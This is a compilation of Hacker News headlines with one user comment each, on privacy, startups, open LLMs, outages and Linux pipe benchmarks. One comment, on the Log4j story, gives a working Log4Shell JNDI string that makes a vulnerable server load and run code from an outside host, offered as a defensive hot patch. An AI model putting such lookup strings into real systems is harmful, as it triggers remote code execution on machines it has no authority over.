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Android phones are sending significant amount of user data with no opt-out [pdf]
I use GraphineOS and LineageOS without Google Play Services. They are great and are suitable replacements for Apple and Google.- Osmand(FOSS) for maps (supports being fully offline!)- Signal and Discord for messaging (Discord is sandboxed)- Newpipe(FOSS) for Youtube- F-droid(FOSS) for my FOSS appstore- APKmirror for the few non-free apps I need- Libretorrent(FOSS) and VLC(FOSS) for watching movies- Firefox(FOSS) and Vanadium(FOSS) for browser- K9 Mail(FOSS) for email- Infinity(FOSS) for Reddit- Secur(FOSS) for 2FA- Taskkeeper(FOSS) for remindersAlmost everything you need is in the F-droid FOSS app repository. It all works, and it works well. You can buy a used Pixel 3a for around $80 on Ebay and have a better experience in every category than iOS, hardware and software.The only limitation is push notifications, which isn't a problem because FOSS apps like Signal bundle their own notification system that does not use Google Play Services. Discord however, does not get push notifications (which I wouldn't want anyway)
Tim Hortons app violated laws in collection of ‘vast amounts’ of location data
I recently attended an automotive dealership conference where I was being pitched for a product that would let me know if my customers were at rival dealerships. I poked and prodded to understand if these were legitimate claims or just marketing hype. They revealed that they purchased location data from app developers. I was shocked and surprised -- I don't know why I was because this should have been expected. It really enlightened me on the exploitation and misuse of data by crappy apps.
Alpaca: A strong open-source instruction-following model
This is why I think we're seeing a Stable Diffusion moment for LLMs: https://simonwillison.net/2023/Mar/11/llama/Look at the timeline:24th February 2023: LLaMA is announced, starts being shared with academic partners: https://research.facebook.com/publications/llama-open-and-ef...2nd March: Someone posts a PR with a BitTorrent link to the models: https://github.com/facebookresearch/llama/pull/7310th March: First commit to llama.cpp by Georgi Gerganov: https://github.com/ggerganov/llama.cpp/commit/26c084662903dd...11th March: llama.cpp now runs the 7B model on a 4GB RaspberryPi: https://twitter.com/miolini/status/163498236175779020912th March: npx dalai llama: https://cocktailpeanut.github.io/dalai/13th March (today): llama.cpp on a Pixel 6 phone: https://twitter.com/thiteanish/status/1635188333705043969And now, Alpaca. It's not even lunchtime yet!Turned this into a blog post: https://simonwillison.net/2023/Mar/13/alpaca/
Patio11 says Hello Ladies
The best line is when he says, "features.html should 404."What he says is basically:1. Develop a niche, and this is probably easier if you target women.2. Sell an emotional experience, not features.3. Tell stories because software is boring.4. Profit!!!
Mozilla urges its users to raise their voice against SOPA
If only Google or Facebook would use their homepage status to get the word out to the majority of the population. A blacked-out Google Doodle or a notification at the top of the Facebook newsfeed would go a very long way.
Dear Boss: For a programmer, 10 minutes = 3 hours
Heh, I love the detail on all the confcall/web sharing problems.Every conf call I join includes at least two of the following.- The leader who is in the conf room calls in from the table phone and from their PC and can't figure out how to stop the screaming feedback. What's funny about this one to me is that the same people do it every time.- Tom calls from his car. He must be on the interstate, judging from the road gradient we can hear.- Dick joins from his laptop, where the microphone is conveniently part of the same physical device as the keyboard. CLACKCLACKCLACKCLACK.- Harry is working from home. We become intimately familiar with his three-year-old daughter's escapades with Cheerios and love of Phineas & Ferb.- Judging from the number of sirens, Jake apparently lives in a bad part of town or is watching Blues Brothers in the background.- Lucy has apparently joined while sitting in a conference room, attending another meeting simultaneously.- Robert joins 15 minutes late and would like everything he missed to be recapped.- Mark absolutely will not let the meeting progress unless someone is recording. Everyone spends 10 minutes figuring out how to do this. No one can find the file at the end of the meeting.- James calls in via a VOIP connection from India, introducing a slight delay. "Hello?" "Hellohello" "Hi James, can-" "Hello" "Hi James, we are-" "Hello, hi yes-" "Hi James-"- Dave joins from the airport. According to the PA, someone named Janice needs to report to the ticket desk.- Mike has apparently set his cell phone ringer volume to "over 9000" and has placed it next to his mic.- "Can you see my screen?" "No". "How about now?" -cue pictures of cats- "Yes but I think you have shared the wrong monitor." "How about now?" -cue spreadsheet- "Yes." -cue scrolling that the video broadcast can't keep up with- "Now if you can see here, here and here..."Mass meetings are the funniest. During one surreal leadership presentation where hundreds of people joined via a web meeting and many more were present in person, someone forgot to lock down presenter rights, and people kept drawing on the slides.
There's no speed limit (2009)
Surprised to see a post of mine here on Hacker News. (First time in a long time. Thanks!)Feel free to ask me absolutely anything here.
Ex-Googler says she exposed company-wide pay inequality with spreadsheet
The issue with pay was always a thorny one for me at Google. Not what they paid me, I thought that was fine, but that there was so much enforced secrecy around it.The entire goal, as far as I could ascertain, of that secrecy was to keep people who had been mislead about how they were being paid, from being able to prove or disprove that Google was actually paying people what it said they were paying people.And what had been presented as a really performance driven, no discrimination, reward metrics, was perceived to be yet another 'management beauty contest' where managers could swing bonus dollars toward people they liked (regardless of their performance) and away from people they didn't care about.And to be clear, I was ok with that, it's how a lot of bonus systems are set up, but it bothered me that it was presented as something else. And while I didn't start a spreadsheet, I did get advised by HR that my questions were not helpful :-).It was suggested that if it bothered me that much maybe I didn't really want to be working there, I thought about that and agreed with that conclusion.
Ask HN: How do I switch from being a passive consumer to an active producer?
I'm going to say something that might be wildly unpopular among ambitious people: If you have a full-time job, you are by far not a passive consumer. You presumably contribute >40 hours every week of creatively demanding, high-quality labor to society.For most people, the premise of this question is wrong. Procrastination, when you don't obviously have a lot of available time and effort, is a symptom that most of your creative energies are already spent elsewhere and are unavailable for other high-energy pursuits. I commend the effort to organizing your remaining free time to produce something of societal value, but for most people this is an exercise that will in the long run lead to burnout. Your mind is already subconsciously telling you this.I know some people who have energy levels that allow them to sustainably burn the candle at both ends, but they are a small minority. I am quite envious of this group; they appear to have a big leg up in accomplishing great things, but there appears to be a component of either genetics or upbringing that leaves only a small portion of people with this capability.If you are not in this minority and you strongly desire to produce more creative output outside of your full-time job, there are two options: You can set small goals, e.g. spending 3-5 hours a week of dedicated time towards your pursuit, or putting everything else in your life on pause for a year or two while you go at it with all your effort. The latter course of action will likely not be sustainable, and you have to listen to your mind and body when it's had enough of it.My preferred choice would be to get a job that pays enough to sustain your lifestyle but has much smaller hours (e.g. 60% or 40% of a full-time position), if this is at all possible. Most places, sadly, it isn't an option. If you can organize this, you free up a significant portion of your creative energy, which can then be used for other ambitious goals.
The Internet Archive has digitized 25,000 78rpm Gramophone records
The records I clicked on have this noticeDigitized from a shellac record, at 78 revolutions per minute. Four stylii were used to transfer this record. They are 3.8mm truncated conical, 2.3mm truncated conical, 2.8mm truncated conical, 3.3mm truncated conical. These were recorded flat and then also equalized with NAB.The preferred version suggested by an audio engineer at George Blood, L.P. is the equalized version recorded with the 2.3mm truncated conical stylus, and has been copied to have the more friendly filename.I'm trying to guess but can't imagine what the reasoning for this is. I've tried A/B/C/D testing a few tracks on some crappy speakers and can't discern any difference.While it's certainly admirable to try and digitize it as thoroughly as possible, I just can't see how a difference of 0.5mm in the stylus width is worth increasing your work load 4x times over (having to record each record 4 times rather than just once).
The Booming Japanese Rent-A-Friend Business
Can someone confirm that this is real? It reads like (dismal) satire.
Reality has a surprising amount of detail (2017)
Something I've noticed now that we're all communicating online in written form: a lack of people saying "I don't know"It seems that everybody knows everything. Whatever the issue, a little bit of Googling and suddenly you know all there is to know. Even more wondrous, no matter what position you take on anything, some more search engine Kung Fu and you can find a hundred people willing to support you with arguments, surveys, facts -- whatever you need.Everybody knows everything. It's quite amazing. And then when you take a tech team into an unknown domain, suddenly they find it very difficult to open up, admit ignorance, and reason about things.I am reminded of some startup book or blog I read years ago. It was talking about the relationship between intelligence and startup success. The author said that there was a correlation. It was an inverse correlation. The more you have been rewarded in life for being smart and knowing everything, the more you felt intelligent, the less chance you had of making a startup work. You just weren't able to admit all the things you didn't know.
My home lab setup for highly-available Internet
I also have redundant WAN at my house, slightly less sophisticated. Comcast (primary) and U-Verse (backup) on separate modems (wired only, no WiFi). When an outage incident occurs, and it gets escalated, I received a page (iMessage from family member, "Dad, the WiFi is down!"). If I'm away from the NOC/DC, I call the DC remote hands support line (call onsite family member), and have them perform a hard cutover ("go to back of the device with the antenna thingies, disconnect the BLUE cable and plug in the YELLOW cable").I do have a UPS on the modems and main access point.. but after reading this post, I may invest in diesel generator and a 5,000 gallon subterranean tank.
Web.dev by Google
I just ran their audit to https://mail.google.com, you guys (googlers) need to speed up your websites first, Gmail is terrible slow lately, just saying...
Apple AirPods: iPhone accessory or the next big thing?
Amazing how Apple managed to make the first cool MP3 player, then the first cool smartphone and now the first cool bluetooth headset. For almost 20 years now, Apple has owned electronic fashion. Sony for example was unable to parlay its Walkman dominance into similar positions with new devices.And make no mistake about it - a huge portion of these sales are people buying Apple's marketing - not buying the tech itself.Which I think may bode well for Apple in that we are only scratching the surface of what the tech can do.
Unofficial Apple Archive
I love the early 2000's Apple aesthetic. I'm not sure if it was actually really good, or I just associate it with a happy time in my life.I still have an iTunes playlist with all of the music from the dancing silhouette iPod commercials, and I get the warm and fuzzies when I listen to it.I wish there was a high-quality archive of these commercials online to relive some of those memories. Unfortunately, every time I look for them on YouTube, they're incomplete copies of over-compressed copies of watermarked copies of cropped copies of altered copies of something someone recorded off what looks like low-grade Betamax.
How to burn the most money with a single click in Azure
A few years ago my startup was killed by a AWS mistake that ran overnight. The irony: my AWS expert at the time had made exactly the same provisioning mistake at his previous job - so I figured he'd never make a $80k mistake again. It turns out - his mistake with my startup was even more impressive. More positively - he did help shell out with me to cover the cost & overnight we were out of money. The mistake shocked me so much, and I've since heard so many stories of similar mistakes. The event hit me so hard I went back in time to PHP and shared hosting. Not kidding.
Reflections on Being a Female Founder
This was an interesting read. I found it well written and kind of sad, if optimistic and hopeful.Personally, I would love to see a lot more female developers. I am betting there is no significant difference in inherent potential talent between the two genders, so why are almost all coders I've worked with male?
Foam – A Roam Research alternative with VSCode, Markdown and GitHub
What do Mind-mapping, Zettelkasten, Bullet Journaling, Getting Things Done, etc. all have in common?They impose a taxonomy on thought and rely heavily on "best practices".Even the simplest organizational schemes require a great deal of _discipline_ to be successful with, and nothing is a "one size fits all" solution.I'm looking forward to the day when I can dump interesting thoughts (or links to articles, videos, whatever) into a "knowledge base" and it finds connections and labels things for me while I sleep.Who's building this?
Apple to kill Epic’s accounts on Friday the 28th
What took me aback was the withdrawing permission to notarise their apps for Mac. That was only meant to be a check for known vulnerabilities/malicious software. Apple was more within their rights to kick Fortnite until the dust has settled from the iOS store, that was the retaliation, but now a mechanism supposedly for security has been repurposed as punishment.That's a pretty nasty move and I feel the mask has slipped slightly here for Apple.
Persisting as a solo founder
>I’ve reduced my information consumption to free up brain cycles.This is so important and not discussed very often. It's so easy to get caught up with the insane amount of information distractions. It is pivotal to narrow down your focus and attention on the really important things (deep work). Eliminate and minimize the pointless information hysteria.I've worked with people who claim they 'work 12-16 hour days'. Yet, watching them work, they spend most of the day reading news articles and on Twitter. It is easy to get caught up in all of this, and it gives an illusion that one is "working" as it is very stimulating to your brain.The only answer I've found to remaining positive about the world and staying productive has been to ignore >90% of the information out there. Very little news. No social media. I even ignore most of the things people say, unless I know that they are knowledgeable on the topic. But I guess this is what HN is for... One of the only places for decent information.
S3 Strong Consistency
Has anyone ever seen S3 behave eventually consistent? I have not seen a lot of eventual consistency in the real world but I wonder if I'm just working on the wrong problems?
Pentagon surveilling Americans without a warrant, Senator Wyden reveals
The thing I still can't fathom, all these years after Bush II and then Snowden, is just how little human beings really care about mass surveillance. Yeah, the Snowden leaks made a splash, but the media cycle turned over a couple weeks later and everyone moved onto other things.It's like, if you're of a certain age, you had to read 1984 or whatever in school. You'd think "well, no one would stand for that sort of thing in real life!" Okay, so we don't live in that society, exactly, but time after time, we're shown the breadth of government surveillance and the reaction from the broader public isn't to call for anyone's head on a pike -- it's not even to vote anyone out!Outside of little communities like this one, people don't give much of a fuck. I guess that was Orwell's real point.
TSMC eyes Germany as possible location for first Europe chip plant
If i were TCMS, i would not invest in Germany. But as a german, living in Germany, i am happy that they consider an investment in Germany.
Airyx OS
This reminds me of vegan bacon.If you dont want to eat meat, why try and replicate the taste, texture and sensation of eating meat?If you dont want to use macOS, why try and replicate the taste, texture and sensation of using macOS?
Amazon sent the FBI to take my family’s bank accounts
The underlying case looks to be a pretty straight developing country "referral fees" / kickback type case.One issue is how long these cases take to resolve. This was a whistleblower blowing the whistle.Basic deal was Watson (who ran Northstar) a property developer signed a deal to kick back referral fees to an entity that did literally no work (Villanova Trust) created by a brother of the two amazon employees (Nelson and Kirschner) who were the transaction managers for 9 data center lease deals. The kickback deal was signed after these two Amazon employees met with Watson (the Vendor).Amazon then did $400M in deals with Watson, who then kicked back $5M to the trust in "commissions". Then amazon discovered deleted files indicating the employees were entitled to "shares" in these projects from Watson of something like an additional $16M.Others in the mix at developer also did some kind of land flip thing. One example was property that they bought for $20M, then sold to Amazon for $116M. In one case there was something like a $20M increase in price on property that was sold to Amazon the day that it was bought?! So they were frontrunning things. Watson was pissed, and wanted a cut, so recorded a meeting with the folks doing the flip scam. But that backfired because the folks doing the flip scam knew about the leasing scam and said, hey, if you don't back off we'll blow lid on your lease scam - claiming "that's FBI". They did end up compromising on kicking back $5M to Watson from the flip scam.Anyways, all allegations, and thousands of pages so I've no doubt got some parts wrong, but it makes for interesting reading!My question - it seems to take a long time to get these white color criminal types into jail.In the linked post, there is a lot of complaining that the FBI messed up the guys career, but man, this court case - why would you hire a guy like this into a position of trust?Note these allegations are contested. “My only hope in defending myself against its false allegations is that the process will be fair and impartial.” Mr. Nelson said per a WSJ article.
Overhauling Mario 64's code to reach 30 FPS and render 6x faster on N64 [video]
Small thing but I hate how a lot of the modding community (and retro gaming) has turned to videos and youtube, I just don't have time to watch a 20 minute video on these things. I'm often searching high and low for basic documentation and descriptions of things and google always recommends some 20 minute video, it's infuriating.
Correctness and composability bugs in the Julia ecosystem
Everything has correctness issues somewhere. Julia ships an entire patched version of LLVM to fix correctness bugs in numerical methods. It has its own implementations of things like software-side FMA because the FMA implementation of Windows is incorrect: https://github.com/JuliaLang/julia/pull/43530 . Core Julia devs are now the maintainers of things like libuv because of how much had to be fixed there. So from those three points, that clearly points out tons of cases where Python, R, etc. code is all incorrect where Julia isn't.I think what's interesting about Julia is that because the code is all Julia, it's really easy to dig in there and find potential bugs. The standard library functions can be accessed with @edit sum(1:5) and there you go, hack away. The easier it is to look at the code, the easier it is to find issues with it. This is why Julia has such a higher developer to user ratio. That has its pros and cons of course. It democratizes the development process, but it means that people who don't have a ton of development experience (plus Fortran or C knowledge) are not excluded from contributing. Is that good or bad? Personally I believe it's good in the long run, but can have its bumps.As an aside, the author highlights "for i in 1:length(A)". I agree, code should never do that. It should be `eachindex(A)`. In general things should use iterators which are designed for arbitrary indexing based on iterators. This is true in any language, though you'll always have some newcomers write code (and documentation) with this. Even experienced people who don't tend to use arrays beyond Array tend to do this. It's an interesting issue because coding style issues perpetuate themselves: explicitly using 1-base wasn't an issue before GPUs and OffsetArrays, but then loop code like that trains the next generation, and so more people use it. In the end the people who really know to handle these cases are the people who tend to use these cases, just like how people who write in styles that are ARM-safe tend to be people who use ARM. Someone should just run a bot that opens a PR for every occurrence of this (especially in Base), as that would then change the source that everyone learns from and completely flip the style.
Ancient civilisation under eastern Turkey estimated to be 11k-13k years old
What gets me about prehistory is that even before civilization (the development of permanent settlements), humans existed in anatomically modern form, and even if they never wrote anything down, would surely still have used language. What did they talk about? We know that illiterate people today are perfectly capable of forming complex thoughts and reasoning. When did those thoughts first emerge? Somebody must have been the first to look up and the stars and wonder. They could have done more than just wonder. There could have been geniuses and villains and poets and master storytellers, long before they had any capability to preserve their culture through writing. And this was probably tens or even hundreds of thousands of years before the earliest stone remains that we call civilization.
Turns are better than radians
>But math never decreed that sine and cosine have to take radian arguments!Ummm, actually it did. The Taylor-series of sine and cosine is the simplest when they work with radians. Euler's formula (e^ix = cosx + isinx) is the simplest when working with radians.Of course you can work in other units, but you'll need to insert the appropriate scaling factors all over the place."Turns" don't generalize to higher dimensions either. With radians you can calculate arc length on a circle by multiplying with the radius. This extends naturally to higher dimensions: a solid angle measured in steradians lets you calculate surface area on a sphere by multiplying with the radius. How do you do the same with "turns" on a sphere? You can't in any meaningful way.
A Firefox-only minimap (2021)
The first thing I do when I work in an editor with a mini-map is -- turn it off. I find it mostly the most useless feature for coding, and for sites it seems to be equally useless. Why?1. Stuff is too small to really make out where I'm going or navigating.2. Short or long pages, both don't really benefit from the loss of screen real-estate. Or the distraction really.3. Other tools like a proper index with descriptive headers, or the search function work so much better to navigate the page.Where mini-maps could be awesome are large images, or maps. They tend to visual in nature, and when zoomed in you can look at the mini-map to see where you are in the whole. Which is useful.So, cool future, but this doesn't really seem like a great implementation.
Chromebooks will get 10 years of automatic updates
I'm still a bit salty that Google discontinued the Pixelbook and shut down the team responsible for it. I could easily see that machine becoming the perfect developer laptop with its Linux container support, and the high-end version had pretty good specs.I would love a high end Chromebook, but sadly haven't found anything that is even close to where the Pixelbook was.
Megaupload down, FBI Charges Seven With Online Piracy
At the risk of megadownvoting here...Megaupload never complied with DMCA requests - I made several as part of some research and never received any response. The site charged for access to, and provided advertising around, pirated content. The site paid people (users/staff - it's a fine line) to provide popular content.It went to extraordinary lengths to hide the identity of its operators.Now if people believe that anyone should be allowed to set up a site, fill it with full length DVD rips,and then charge $10 a month for access then no wrong has been committed. But I think most right-minded people would say that is wrong - otherwise we'd all be doing it.Kim Schmitz has made a lot of money over a five to seven year period doing this. But the risk that came with that was that eventually he'd face serious jailtime.I cannot believe that Megaupload is being touted as an anti-SOPA posterchild. It is, pure and simple, a piracy site full of pirated material. I'd be astounded [see update] if anyone here uses it for anything other than pirating. But let's not pretend it's Dropbox - it isn't.I am also astounded that people on HN are calling this a legitimate business. What was its business? Was it being used to distribute Wikipedia archives? To host videos of people's kids singing? No - it was hosting pirated content. Not torrents, not links. AVI files of films. AND THEN CHARGING FOR ACCESS.[Update: It seems some people below did use it for sending big files. Colour me astounded. I've never had to do this so it's new to me. I guess the fact remains that they had to subsidise this activity somehow - and that they made their money off popular content. They have to hope this is enough to cover their asses.]
Ubuntu for Android
This, or something like it, is the future: the computing device is portable, and adapts itself to the forms of input available. There's no reason why your display should have to be permanently attached to the device that drives it, and increasingly, it won't be.I don't know what the implications are for Ubuntu or Android. But genuine support for a first-class computing experience is one of the few things that would tempt me back onto those platforms.
Why is every story on Uber Delhi driver raping a passenger getting instakilled?
As far as I'm concerned, that's a perfect example of a story unsuitable for HN. There's nothing there to satisfy anyone's intellectual curiosity. It's just a volatile mixture of rubbernecking, outrage, gender issues, schadenfreude over a controversial company, and having it be about a tech startup to give it just a tiny bit of supposed HN relevance.(I flagged the one copy of this I saw on the front page, and it's certainly not because of liking Uber).
Look, no hands
I'm Michelle (the girl in the video). This thread is really fascinating to me. I'll add some more details to the discussion below. I was diagnosed with epicodylitis (tennis albow) and I tried a range of different treatments: electrical therapy, accipunture, anti-inflammatory tablets and some kind of light therapy(?) But without any results (probably why I can't remember the last treatment).Also notised there were some questions about neck pains, If I adjust the nose-pad to the right level and angle it right it forces me to sit up straight. However, in the video my back is arched quite a lot because I was sitting at a table that was too low (but it was only a temporary setup).
Side projects
I'm working on a side project now that will eventually be an open source project. I think it could benefit a lot of people.My problem is that I have a full time job. When I come home at night I want to cook dinner, run, socialize, drink a beer with a friend, or work on an art project. I don't particularly want to configure Ansible or read the OpenVPN docs.At most I can get 3-5 hours of productive work per week on this project before I start getting really irritable.I'm not a terribly skilled web designer so I feel like contract work isn't really a feasible option.So I'm stuck with a chicken and egg scenario. I could make huge strides on the side project if I got funding to quit my job, but I can't get funding without an already working product.I've considered quitting my job and diving into it for a few months. I have savings but this seems foolishly risky to me.Maybe I just need to be more disciplined.If anyone has been in a similar situation, I would greatly appreciate advice.
Death of a Programmer, Life of a Farmer
I've been thinking about this a lot lately, and this post definitely gives me some motivation.I'm a programmer who loves to code and build stuff, learning new programming languages and frameworks, discussing about architecture, etc. I love shipping new features and making customers happy.BUT inside of me a desire has been growing to go back to the roots, to live a life closer to the nature. I feel the need to spend more time outside, with less time pressure.I've been thinking about this idea to build something like a "tech-farmer colony". Maybe it's been done in the past, never heard of it, but it would be a group of engineers and their families, living together and working part-time as software / hardware engineers, and part time as farmers, with flexible division of tasks. Maybe the software / hardware company could even work on projects closely related to farming, in order to improve productivity / efficiency / cut costs / promote ecologic food, etc.I'd be curious to see if there are more people in the tech industry who would love to do something like this. I'd love to read some interesting ideas / critique.
Two HN Announcements
As part of the organizational change, I'd love to see a plan to making the Hacker News site work great on mobile.
Salesforce fires red team staffers who gave Defcon talk
I was not at the conference and have no first hand knowledge of what happened.But before everyone gets on their high horse, please pause to reflect:This was all company work product being presented by company employees who were on a company funded conference trip. Therefore there is an approval process for vetting presentations as well as a legal process for opensourcing code. This is standard practice at all companies.Now what do you think is more likely: That the PR department would approve of a talk titled "meatpistol" (FIXED) (have you seen the slides?) and the legal dept would approve of open sourcing the code and then at the very last minute both groups would change their mind and try to pull the talk, or that the presenters never got the OK in the first place, the company found out at the last minute, asked them to pull the talk and they refused?How likely is it that they would get official approval for their talk under a "Chatham's rules" meeting in February to for a presentation in Augustat the end of July? Isn't it more likely that they got some initial approval for a talk in February, but that PR still wanted to vet the actual slides in AugustJuly? (I'm assuming that the slides were made after February.) Which PR department gives approvals like that? What legal department works this way? In my experience, stuff like this happens at the last minute, because that's when you're finishing your slides (as well as your code), and generally PR is going to ask that you make some changes to your slides and they will want the final copy before signing off. Now maybe I'm wrong and the article is correct, but I think it's unlikely.Moreover given that Salesforce can't talk about this matter, who do you think is the source for the article and whose side are you hearing?The last few days have really highlighted how quick people are to pile on with outrage and self-righteous indignation before getting all the facts.
Choose Firefox Now, or Later You Won't Get a Choice (2014)
Just so we can avoid rehashing the discussion whenever a post encouraging the use of Firefox is posted.- Yes, Mozilla is still the better browser when it comes to privacy.- Yes, Mozilla has made missteps with Pocket and Mr. Robot.- Yes, it is slow/resource heavy on certain Macs with non-default resolutions. Yes, Mozilla is working on a fix.- Yes, it has become really fast for most users after Quantum improvements landed, and likely will continue to get better.- No, you can't just "fork Chromium" if you don't like the way Google is running the project. Web developers will still make their website work well with whatever Google releases, regardless of standards.- Yes, Firefox doesn't feel native on your platform of choice.- Yes, neither does Chrome (doesn't support dark mode on macOS)- Yes, Chrome has better security against malware.- Yes, Firefox removed the feature that was essential to your workflow, even though most users don't care.edit, thought of one more- No, the argument "Chrome will be the new IE if you don't use Firefox" doesn't matter to most users.
The US spends more on healthcare for no gain says new report from Johns Hopkins
It's worth noting that the U.S. market does pay for the lion's share of patented drugs, effectively funding a significant portion of R&D that benefits the whole world years later when generics come into market (at least for those drugs which are not costly to manufacture, which happen to be the majority).I'm not saying this model is right. I'm just saying that doing away with it will have fundamental consequences to healthcare R&DEDIT: To be clear, a minority of drugs are either very hard to manufacture (It's been a while for me so I don't recall their exact name, but I think they may be called "biosynthetics" – please correct me if I'm wrong) or researched for a very small number of patients (so-called "orphan drugs"), which confers them additional protection from generics and competitors. These generally have much higher prices than the "standard" drug.
Belgian programmer solves MIT’s 20-year-old time capsule cryptographic puzzle
That'd be me (fellow HNer and belgian programmer)... Very happy to see this upvoted up to HN's frontpage! Any question welcome but I cannot post the solution until the time-capsule opening ceremony on the 15th of May : )EDIT: WIRED article just in. Haven't read it yet. Link if anyone is interested: https://www.wired.com/story/a-programmer-solved-a-20-year-ol...EDIT2: forgot to tell but the mining pool Antpool posted a message in the block header / coinbase data of Bitcoin's block 573138 saying "Congrats Bernard Fabrot for solving LCS35!". My brother tried to time this with the press release which was supposed to come out on friday but then the press release got pushed back to today/monday. So yeah, coinbase data of block 573 138 is kinda very cool (it requires cooperation of a mining pool because it's not just in a transaction but in a block). TYVM to the everybody at Antpool! Big thanks for that : )
Details of the Cloudflare outage on July 2, 2019
So in response to a catastrophic failure due to testing in prod, they're going to push out a brand new regex engine with an ETA of 2 weeks. Can anyone say testing in prod?The constant use of 'I' and 'me' (19 occurrences in total) deeply tarnishes this report, and repeatedly singling out a responsible engineer, nameless or not, is a failure in its own right. This was a collective failure, any individual identity is totally irrelevant. We're not looking for an account of your superman-like heroism, sprinting from meeting rooms or otherwise, we want to know whether anything has been learned in the 2 years since Cloudflare leaked heap all across the Internet without noticing, and the answer to that seems fantastically clear.
Ask HN: What has your work taught you that other people don't realize?
Everything is a system. The economy, society, relationships, nature, traffic.You don't need math to reverse engineer a system. You just need to pay attention to it. You can say the right words to make a date happy. You can figure out which lane is the fastest route, better than Google Maps can. You don't need an app or data - your brain is a wonderful data processing machine.Don't be angry at the people who are benefiting from a system, or at the system itself. Most just end up that way, the same way a river meanders towards the sea, or an electrical current tries to find ground.Fixing/improving a system often requires deep understanding of it. An action here will cause a response there. People often document it, but few will do a proper design.If you don't fix a system, few will. Most people are reactive to it and try to live with it as background noise.If you don't control a system, it will control you. You don't have to change its fundamentals, just move out of the way of harm.Neatness/order is a way to understand a system. All systems tend to fall to disorder. Disorder is not always a bad thing. Order is very expensive, and only serves as better documentation to those who do not understand it. Very often, excessive order is a symptom of someone who does not understand or control it.
Cloudflare silently deleted my DNS records
This is being looked into internally and I am involved. Likely won’t post an update here as it pertains to a customer account (unless customer agrees).BTW If you, dear reader, ever find yourself so frustrated with Cloudflare that you feel like your only recourse is a blog post... my email is [email protected] and I’m happy to hear from people.
Things you can do with a browser in 2020
As a user, so many of these I wish did NOT exist. E.g: Push Notifications, Banners, Web Share, Contacts, Page Visibility, Badging.Uncertain about USB, Bluetooth, Locks, Keyboard Lock, and Native File System.I don't want my browser doing those things.
WebKit will delete all local storage after 7 days
Comments moved to https://news.ycombinator.com/item?id=22686602 which is currently the active thread.
Breach exposed more than one million DNA profiles on a major genealogy database
This is why I’ve been putting off getting my genome sequenced. One breach and it’s out there forever.I’ve heard good things about nebula[0] as a way to get an anonymous genome but have yet to be motivated enough to take the plunge[0] https://nebula.org/whole-genome-sequencing/
Young children would rather explore than get rewards
For anyone interested in this type of stuff, I can recommend reading Drive.Briefly, human behaviour can be motivated for extrinsic and intrinsic reasons. The rewards in this article are extrinsic motivators. Exploring is rewarding in an intrinsic way; it is a strive towards autonomy, mastery, and purpose.In adults (and in older children) applying extrinsic motivators kills intrinsic motivation. Once the extrinsic motivators stop coming in, there is no desire left to do the task. Intrinsic motivation is practically infinite, as long as the environment is set up right to enable it.Extrinsic motivation also tends to produce behaviour that does the bare minimum to get the reward (or avoid the negative consequences) whereas intrinsic motivation is what makes us want to excel.Of course, I've skipped many important points and not countered any counterargument here, but I recommend reading Drive first if you think you disagree.But the worst part of it all?The schooling system, with its grades, signed slips, and whatnot, is set up through extrinsic motivation to teach obedience, conformity, and smothering the intrinsic drive so necessary for the creative work we will expect from the children later in life.
EU citizens’ rights are under threat from anti-encryption proposals
I always say if politicians want to ban encryption being absolute (by making it insecure): you first. Lets see how well it works by implementing encraption in your systems and email and seeing if your backdoor deals and illegal activity winds up in the public eye for all to see.
Gallup: U.S. church membership dips below 50% for first time
So many of the comments here are affirming what I have long observed: much anti-religious sentiment (“much”, not “all”!) is actually a reaction to fundamentalism, which is the bad theology of scriptural literalism, which brings heresies like hating LGBT, insisting the Bible is also a science textbook, superstitious views of certain Middle Eastern lands, and more.Growing up as a mainline Protestant, I thankfully didn’t have much of this to react against in my own churches. But we saw the bad fundamentalist theology in Southern Baptist or too many independent churches (those two mentioned because they were dominant where I grew up). I can appreciate the difference.I’m still happily a mainline Protestant. I’m not instructed to hate anyone, I’m not told to vote a particular way. I’m not going to church to check in my brain to a charlatan who saves me from an angry (false) god. I’m going to be better and to grow my relationship with God.
United Airlines will buy 15 planes from Boom Supersonic
Problems with supersonic (?):- Noise means you can't do US domestic- Concorde didn't have the range for Pacific- Costs didn't work for Atlantic routes- And airlines want lots of identical planes, not one special one for one routeWhich ones has Boom solved?https://twitter.com/benedictevans/status/1400425028022308874
Log4Shell update: second Log4j vulnerability published
We also wrote a Log4Shell payload that will in-memory "hot patch" your server against Log4Shell.${jndi:ldap://hotpatch.log4shell.com:1389/a}If you paste that into a vulnerable server (or even throw it into a log statement in your `main` function), that'll patch you against this until you can manage to update properly.Source code is on GitHub here[0][1] if you want to host it yourself.(This work is based on Logout4Shell[2], but we rewrote it to fix the bugs, make it work in more places, and also hosted it so that you don't have to muck with DNS and live server stuff.)0: https://github.com/lunasec-io/lunasec/releases/1: (Go source code) https://github.com/lunasec-io/lunasec/tree/master/tools/log4...2: https://github.com/Cybereason/Logout4Shell
Feds arrest couple, seize $3.6B in hacked Bitcoin funds
Shouldn't all true crypto believers hate this news?It's the government trying to enforce their opinion of who should own those Bitcoins, thereby taking power away from the owner that the network has decided on, which would be "whoever has the cryptographic keys".
Show HN: Full text search on 630M US court cases
This is... not great. It's crucial that these records be open to public inspection. But instant full-text search of the entire dockets of 630M cases feels wrong, invasive, and dangerous to me.It's yet another instance of panopticon surveillance now being too cheap to meter. I think our society needs to come to grips with this new reality and figure out what to do about it.Or are we all just cool with this?
How fast are Linux pipes anyway?
For some reason, this raised my curiosity how fast different languages write individual characters to a pipe:PHP comes in at about 900KiB/s: php -r 'while (1) echo 1;' | pv > /dev/null Python is about 50% faster at about 1.5MiB/s: python3 -c 'while (1): print (1, end="")' | pv > /dev/null Javascript is slowest at around 200KiB/s: node -e 'while (1) process.stdout.write("1");' | pv > /dev/null What's also interesting is that node crashes after about a minute: FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed - JavaScript heap out of memory All results from within a Debian 10 docker container with the default repo versions of PHP, Python and Node.Update:Checking with strace shows that Python caches the output: strace python3 -c 'while (1): print (1, end="")' | pv > /dev/null Outputs a series of: write(1, "11111111111111111111111111111111"..., 8193) = 8193 PHP and JS do not.So the Python equivalent would be: python3 -c 'while (1): print (1, end="", flush=True)' | pv > /dev/null Which makes it compareable to the speed of JS.Interesting, that PHP is over 4x faster than the Python and JS.
Difftastic, the fantastic diff
I would love to use this but I can't be bothered to save the text to a file every time. I always paste intohttps://www.diffnow.com/compare-clips or http://incaseofstairs.com/jsdiff/Does anybody know any better alternatives which work with pasting?
Dear Chess World
In case you haven't seen it, some new evidence surfaced yesterday: https://youtu.be/jfPzUgzrOcQ
